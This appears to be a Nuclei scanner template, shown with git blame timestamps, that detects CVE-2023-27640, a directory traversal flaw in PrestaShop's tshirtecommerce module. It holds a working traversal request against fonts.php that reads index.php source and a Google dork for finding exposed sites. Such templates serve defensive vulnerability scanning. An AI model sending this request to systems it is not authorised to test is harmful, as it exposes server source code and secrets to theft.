nuclei-templates/http/cves/2023/CVE-2023-27640.yaml

41 lines
1.6 KiB
YAML
Raw Normal View History

2023-12-31 16:09:36 +00:00
id: CVE-2023-27640
2024-01-19 21:11:12 +00:00
2023-12-31 16:09:36 +00:00
info:
2024-01-19 21:11:12 +00:00
name: PrestaShop tshirtecommerce - Directory Traversal
2023-12-31 16:09:36 +00:00
author: MaStErChO
severity: high
description: |
2024-01-19 21:11:12 +00:00
The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
2023-12-31 16:09:36 +00:00
reference:
- https://www.cvedetails.com/cve/CVE-2023-27640/
- https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
2024-01-19 21:11:12 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-27640
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
2024-01-19 21:11:12 +00:00
cve-id: CVE-2023-27640
cwe-id: CWE-22
2024-05-31 19:23:20 +00:00
epss-score: 0.04552
epss-percentile: 0.92497
cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*
2023-12-31 16:09:36 +00:00
metadata:
max-request: 1
vendor: tshirtecommerce
product: custom_product_designer
2023-12-31 16:09:36 +00:00
framework: prestashop
2024-01-19 21:11:12 +00:00
google-query: inurl:"/tshirtecommerce/"
tags: cve,cve2023,prestashop,tshirtecommerce,lfi
2023-12-31 16:09:36 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/tshirtecommerce/fonts.php?name=2&type=./../index.php"
2023-12-31 16:39:40 +00:00
2023-12-31 16:09:36 +00:00
matchers:
2023-12-31 16:39:40 +00:00
- type: dsl
2023-12-31 16:09:36 +00:00
dsl:
2024-01-19 21:11:12 +00:00
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains_all(base64_decode(body), "PrestaShop", "<?php")'
condition: and
# digest: 4a0a00473045022100b99abedc5a0cc8ee5b7b42204781437cc4a603ae728e5b8af5309b036e734e48022034079f864380a9aa4f809e536f707afd3f055e2b9458010c3ab56ae71f6e8000:922c64590222798bb761d5b6d8e72950